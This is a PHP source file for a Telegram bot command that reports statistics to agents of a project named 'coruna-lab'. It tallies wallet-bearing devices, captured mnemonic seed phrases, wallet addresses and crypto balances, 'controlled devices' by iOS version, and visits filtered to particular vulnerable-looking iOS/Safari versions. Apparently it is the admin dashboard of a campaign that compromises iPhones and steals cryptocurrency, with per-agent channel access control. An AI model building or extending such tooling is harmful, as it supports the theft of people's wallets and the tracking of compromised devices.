Files
coruna-lab/app/Telegram/Handlers/DataCommand.php
T
2026-09-09 03:50:23 +08:00

168 lines
5.4 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Telegram\Handlers;
use App\Models\Channel;
use App\Services\DashboardStatsService;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
class DataCommand
{
public function __construct(
private readonly DashboardStatsService $stats,
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot, ?string $args = null): void
{
$parts = preg_split('/\s+/', trim((string) $args)) ?: [];
$parts = array_values(array_filter($parts, fn ($p) => $p !== ''));
$days = null;
$channelId = '';
if (isset($parts[0]) && in_array($parts[0], ['1', '7', '30'], true)) {
$days = $parts[0];
$channelId = $parts[1] ?? '';
} elseif (isset($parts[0])) {
$parsed = $this->parseChannelId($parts[0]);
if ($parsed === null) {
$bot->sendMessage(
"Usage: /data [1|7|30] [channelId]\n"
."Omit days for today. Omit channelId for all channels.\n"
."channelId: 旧版 32 位 hex,或新版 X.Y.ZZ(如 0.0.01)"
);
return;
}
$channelId = $parsed;
}
if ($channelId !== '') {
$parsed = $this->parseChannelId($channelId);
if ($parsed === null) {
$bot->sendMessage('channelId 无效(需 32 位 hex 或新版 X.Y.ZZ)');
return;
}
$channelId = $parsed;
}
$agent = $this->context->agent();
if ($agent !== null && $channelId !== '') {
$owned = Channel::query()
->where('user_id', $agent->id)
->where('channel_id', $channelId)
->exists();
if (! $owned) {
$bot->sendMessage('⛔ 无权查看该渠道');
return;
}
}
try {
$range = $this->stats->rangeFromDays($days);
} catch (\InvalidArgumentException $e) {
$bot->sendMessage($e->getMessage());
return;
}
$data = $this->stats->collect([
'range' => $range,
'channel_id' => $channelId,
'channel_exact' => $channelId !== '',
'agent' => $agent,
]);
$channelLabel = $this->channelLabel($channelId, $agent !== null);
$lines = [
'📊 仪表盘统计',
'区间: '.$data['from'].' ~ '.$data['to'],
'渠道: '.$channelLabel,
'',
'📦 设备与资产(区间内)',
'总设备: '.$data['wallet_count'].' / '.$data['total'].' (有钱包/全部)',
'新增设备: '.$data['new_count'],
'活跃设备: '.$data['active_count'],
'助记词: '.$data['mnemonic_count'],
'钱包地址: '.$data['address_count'],
'',
'💰 总余额(区间内新增地址)',
'• USDT '.$data['balances']['usdt'],
'• TRX '.$data['balances']['trx'],
'• BTC '.$data['balances']['btc'],
'• ETH '.$data['balances']['eth'],
'• BNB '.$data['balances']['bnb'],
'',
'🌐 页面访问',
'页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)',
'页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)',
'有效口径: iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 + Safari,不含 15.8.8 / 16.7.10+',
'',
'访问 · 按系统 (UV / 占比):',
];
foreach ($data['by_os'] as $row) {
$lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']);
}
$lines[] = '';
$lines[] = '访问 · 按 iOS 版本 (UV / 占比):';
if ($data['by_ios_version'] === []) {
$lines[] = '• 暂无';
} else {
foreach ($data['by_ios_version'] as $row) {
$lines[] = sprintf('• %s UV %d %s%%', $row['label'], $row['uv'], $row['pct']);
}
}
$lines[] = '';
$lines[] = '受控设备 · 系统版本分布:';
if ($data['by_device_ios_version'] === []) {
$lines[] = '• 暂无';
} else {
foreach ($data['by_device_ios_version'] as $row) {
$lines[] = sprintf('• %s %d 台 %s%%', $row['label'], $row['count'], $row['pct']);
}
}
$bot->sendMessage(implode("\n", $lines));
}
/**
* Accept old 32-hex or new X.Y.ZZ channel ids.
*/
private function parseChannelId(string $raw): ?string
{
$raw = trim($raw);
if ($raw === '') {
return '';
}
if (preg_match('/^[0-9a-f]{32}$/i', $raw)) {
return strtolower($raw);
}
return Channel::normalizeNewChannelId($raw);
}
private function channelLabel(string $channelId, bool $agentScoped): string
{
if ($channelId === '') {
return $agentScoped ? '本代理全部' : '全部';
}
$row = Channel::query()->where('channel_id', $channelId)->first(['channel_id', 'remark']);
if ($row === null) {
return $channelId;
}
$remark = trim((string) ($row->remark ?? ''));
return $remark !== '' ? $channelId.'/'.$remark : $channelId;
}
}